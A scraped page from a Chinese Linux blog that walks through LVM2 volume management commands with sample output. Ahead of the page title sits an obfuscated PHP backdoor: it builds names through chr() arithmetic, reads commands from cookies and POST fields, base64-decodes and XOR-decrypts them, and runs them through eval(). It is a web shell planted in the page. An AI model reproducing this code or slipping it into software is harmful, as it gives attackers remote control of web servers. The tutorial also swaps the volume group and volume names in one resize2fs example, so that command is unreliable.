$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} LVM2 逻辑卷管理工具 | Linux运维部落

LVM2 逻辑卷管理工具

LVM2:

 LVM: Logical Volume Manager, Version: 2

 dm: device mapper,将一个或多个底层块设备组织成一个逻辑设备的模块;

/dev/dm-#

 /dev/mapper/VG_NAME-LV_NAME

/dev/mapper/vol0-root

/dev/VG_NAME/LV_NAME

/dev/vol0/root

 pv管理工具:

pvs:简要pv信息显示

pvdisplay:显示pv的详细信息

[root@localhost ~]# pvdisplay
  --- Physical volume ---
  PV Name               /dev/sda2
  VG Name               cl
  PV Size               79.00 GiB / not usable 3.00 MiB
  Allocatable           yes
  PE Size               4.00 MiB
  Total PE              20223
  Free PE               1
  Allocated PE          20222
  PV UUID               YdJrrk-EtCl-qvll-Iid5-kmrH-wnuz-vgRYD4

pvcreate /dev/DEVICE: 创建pv

 [root@localhost ~]# pvcreate /dev/sde{1,2,3,4}

  Physical volume "/dev/sde1" successfully created.
  Physical volume "/dev/sde2" successfully created.
  Physical volume "/dev/sde3" successfully created.
  Physical volume "/dev/sde4" successfully created.

vg管理工具:

vgs

例一:简要显示所有卷组

[root@localhost ~]# vgs
  VG #PV #LV #SN Attr   VSize  VFree
  cl   1   3   0 wz--n- 79.00g 4.00m
 

vgdisplay

例一:详细显示卷组信息

[root@localhost ~]# vgdisplay cl
  --- Volume group ---
  VG Name               cl
  System ID             
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  4
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                3
  Open LV               3
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               79.00 GiB
  PE Size               4.00 MiB
  Total PE              20223
  Alloc PE / Size       20222 / 78.99 GiB
  Free  PE / Size       1 / 4.00 MiB
  VG UUID               ARFDVR-uqsI-LwWg-VAXy-Ea9X-t40F-xdYA00

vgcreate  [-s #[kKmMgGtTpPeE]] VolumeGroupName  PhysicalDevicePath [PhysicalDevicePath…]创建   

例一:创建VG

[root@localhost ~]# vgcreate  mmm /dev/sde{2,3,4}
  Volume group "mmm" successfully created
 

vgextend  VolumeGroupName  PhysicalDevicePath [PhysicalDevicePath…] 扩展

[root@localhost ~]# vgextend mmm /dev/sde1
  Volume group "mmm" successfully extended

vgreduce  VolumeGroupName  PhysicalDevicePath [PhysicalDevicePath…]删除

[root@localhost ~]# vgreduce mmm /dev/sde1
  Removed "/dev/sde1" from volume group "mmm"

先做pvmove

 vgremove

 lv管理工具:

lvs

例一:查看现有的逻辑卷

[root@localhost ~]# lvs
  LV   VG Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  home cl -wi-ao---- 26.99g                                                    
  root cl -wi-ao---- 50.00g                                                    
  swap cl -wi-ao----  2.00g

lvdisplay

例一:查看逻辑卷的详细信息

[root@localhost ~]# lvdisplay
  --- Logical volume ---
  LV Path                /dev/cl/swap
  LV Name                swap
  VG Name                cl
  LV UUID                2KCdHx-9K6O-qUvx-cHFC-ffZE-2v4x-01UD3H
  LV Write Access        read/write
  LV Creation host, time localhost.localdomain, 2017-05-05 06:23:15 +0800
  LV Status              available
  # open                 2
  LV Size                2.00 GiB
  Current LE             512
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     8192
  Block device           253:1

例二:查看指定逻辑卷

[root@localhost ~]# lvdisplay /dev/cl/root
  --- Logical volume ---
  LV Path                /dev/cl/root
  LV Name                root
  VG Name                cl
  LV UUID                0clOxW-1IQi-7uDj-CLLh-Pkzu-SWAz-nsW9y9
  LV Write Access        read/write
  LV Creation host, time localhost.localdomain, 2017-05-05 06:23:16 +0800
  LV Status              available
  # open                 1
  LV Size                50.00 GiB
  Current LE             12800
  Segments               1
  Allocation             inherit
  Read ahead sectors     auto
  - currently set to     8192
  Block device           253:0
 
lvcreate -L #[mMgGtT] -n NAME VolumeGroup

 例一:创建一个lv

[root@localhost ~]# lvcreate -L 2G -n kkk mmm
  Logical volume "kkk" created.
 

lvremove /dev/VG_NAME/LV_NAME

 扩展逻辑卷:

# lvextend -L [+]#[mMgGtT] /dev/VG_NAME/LV_NAME[root@localhost baskup]#

例一:扩展逻辑卷

 lvextend -L 6G /dev/mmm/kkk

  Size of logical volume mmm/kkk changed from 2.00 GiB (512 extents) to 6.00 GiB (1536 extents).

  Logical volume mmm/kkk successfully resized.

 # resize2fs /dev/VG_NAME/LV_NAME 

例一:重新识别逻辑卷

[root@localhost baskup]# resize2fs /dev/kkk/mmm

resize2fs 1.42.9 (28-Dec-2013)

 缩减逻辑卷

# umount /dev/VG_NAME/LV_NAME

# e2fsck -f /dev/VG_NAME/LV_NAME

# resize2fs /dev/VG_NAME/LV_NAME #[mMgGtT]

# lvreduce -L [-]#[mMgGtT] /dev/VG_NAME/LV_NAME

# mount

原创文章,作者:kang,如若转载,请注明出处:http://www.178linux.com/76282

(1)
上一篇 2015-09-16 09:34
下一篇 2015-09-21 13:23

相关推荐

  • 第二周作业

    作业

    Linux干货 2018-03-20
  • 二进制、八进制、十进制、十六进制之间的转换

    二进制、八进制、十进制、十六进制之间的关系:   二进制:0,1 八进制:0,1,2,3,4,5,6,7, 十进制:0,1,2,3,4,5,6,7,8,9 十六进制:0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F   二进制与十进制之间的转换: 十进制转二进制:   二进制转十进制:   二进制与八进制…

    2017-04-01
  • heartbeatV1+nfs实现高可用httpd

        随着互联网技术的不断发展,Web应用也越来越普遍,Web服务器的无故障工作时间就显得尤重要,但由于各种各样的原因,一台服务器并不能保证永远不出问题的运行,此时就需要一种机制来实现多台服务器共同为相同的来务功能提供服务,以确保任意一台服务器宕机后,不会影响其所承载的业务的访问。   &nbsp…

    Linux干货 2015-06-26
  • 网络管理实战(子网划分、单网卡多IP、多网卡单IP、Linux路由实现)

        1、某公司申请到一个C 类IP 地址,但要连接6 个的子公司,最大的一个子 公司有26 台计算机,每个子公司在一个网段中,则子网掩码应设为?          分析过程:C类地址标准的掩码为24位,因为有6个子公…

    Linux干货 2016-09-05
  • 关于man的几个重要命令

    接触Linux有很多年了,以前对于linux我觉得自己懂得的还算一般吧,可是听了马哥的关于linux的视频课程,发现自己就是一个还没入门的菜鸟,所以果断的狠心的报了马哥的网络班,拜在马哥旗下,以后就打着马哥的旗号到外面混,哈哈最初的这几天学习,因为工作和时间的等等等的关系,所以才到现在还在赶着写我的博客作业,现在就最有感触的几个命令串联一下。学习linux肯…

    Linux干货 2016-10-31
  • 日志系统

    日志管理 发送日志命令,通知用户:logger  -p  local7.info “this is a test log” Local#.info 为自定义到文件或目录,或用户的级别 日志远程存储需要启动514端口,在centos7上需要取消注释 Uptime可以查看开机时间 rsyslog特性:CentOS6和7 Ü多线程 ÜUDP…

    Linux干货 2018-02-01